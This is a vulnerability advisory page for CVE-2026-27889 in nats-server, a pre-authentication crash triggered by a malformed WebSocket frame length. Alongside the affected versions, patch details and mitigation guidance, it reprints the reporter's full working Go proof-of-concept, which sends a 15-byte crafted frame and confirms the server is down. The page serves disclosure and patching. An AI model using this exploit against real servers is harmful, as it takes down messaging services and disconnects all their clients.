CVE-2026-27889 — nats-server
HIGHCVE-2026-27889 is a high-severity (CVSS 7.5) CWE-190 vulnerability in github.com/nats-io/nats-server/v2. A fix is available for github.com/nats-io/nats-server/v2 — see the affected versions and patch details below.
NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27889.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/nats-io/nats-server/v2🐹github.com/nats-io/nats-server/v2🐹github.com/nats-io/nats-serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: server/websocket.go line 278
r.rem = int(binary.BigEndian.Uint64(tmpBuf))
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.
Attack chain:
-
The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g.,
0x8000000000000001). -
At line 278,
int(0x8000000000000001)produces-9223372036854775807on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow). -
r.remis now negative. At line 307–311, the bounds clamp fails:n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANICThe addition
pos + nwraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater thanmax, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics. -
There is no
defer recover()anywhere in the goroutine chain:startGoRoutine:go func() { f() }()— no recoveryreadLoop: defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls
os.Exit(2). The entire nats-server process terminates. -
The WebSocket frame is parsed in
wsRead()called fromreadLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.
PoC
Server configuration (test-ws.conf):
listen: 127.0.0.1:4222
websocket {
listen: "127.0.0.1:9222"
no_tls: true
}
Start the server:
nats-server -c test-ws.conf
Exploit (poc_ws_crash.go):
package main
import (
"bufio"
"encoding/binary"
"fmt"
"net"
"net/http"
"os"
"time"
)
func main() {
target := "127.0.0.1:9222"
if len(os.Args) > 1 {
target = os.Args[1]
}
fmt.Printf("[*] Connecting to %s...\n", target)
conn, err := net.DialTimeout("tcp", target, 5*time.Second)
if err != nil {
fmt.Printf("[-] Connection failed: %v\n", err)
os.Exit(1)
}
defer conn.Close()
// WebSocket upgrade
req, _ := http.NewRequest("GET", "http://"+target, nil)
req.Header.Set("Upgrade", "websocket")
req.Header.Set("Connection", "Upgrade")
req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
req.Header.Set("Sec-WebSocket-Version", "13")
req.Header.Set("Sec-WebSocket-Protocol", "nats")
req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
resp, err := http.ReadResponse(bufio.NewReader(conn), req)
if err != nil || resp.StatusCode != 101 {
fmt.Printf("[-] Upgrade failed\n")
os.Exit(1)
}
fmt.Println("[+] WebSocket established")
conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
frame := make([]byte, 15)
frame[0] = 0x82 // FIN + Binary
frame[1] = 0xFF // MASK + 127 (64-bit length)
binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
frame[10] = 0xDE // Mask key
frame[11] = 0xAD
frame[12] = 0xBE
frame[13] = 0xEF
frame[14] = 0x41 // 1 payload byte
fmt.Printf("[*] Sending: %x\n", frame)
conn.Write(frame)
time.Sleep(2 * time.Second)
// Verify crash
conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
if err != nil {
fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
os.Exit(0)
}
conn2.Close()
fmt.Println("[-] Server still running")
}
Run:
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash
Observed server output before termination:
panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
server/server.go:4078 +0x32
Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/nats-io/nats-server/v2 | ≥ 2.2.0&&< 2.11.14 | 2.11.14go get github.com/nats-io/nats-server/v2@v2.11.14 |
| 🐹Go | github.com/nats-io/nats-server/v2 | ≥ 2.12.0&&< 2.12.5 | 2.12.5go get github.com/nats-io/nats-server/v2@v2.12.5 |
| 🐹Go | github.com/nats-io/nats-server | all versions | No fix |
Affected Products
nats-serverlinuxfoundationDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/nats-io/nats-server/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/nats-io/nats-server/v2 to 2.11.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27889 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2026-27889 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Multicluster Global Hub 1.4.9 | multicluster-globalhub/multicluster-globalhub-grafana-rhel9:1779579439 | RHSA-2026:22347 |
| Multicluster Global Hub 1.6.5 | multicluster-globalhub/multicluster-globalhub-grafana-rhel9:1780167118 | RHSA-2026:23345 |
| Red Hat multicluster global hub 1.5.3 | multicluster-globalhub/multicluster-globalhub-grafana-rhel9:1778867753 | RHSA-2026:21769 |
Frequently Asked Questions
Is CVE-2026-27889 in your dependencies?
Find it across Go, including transitive dependencies.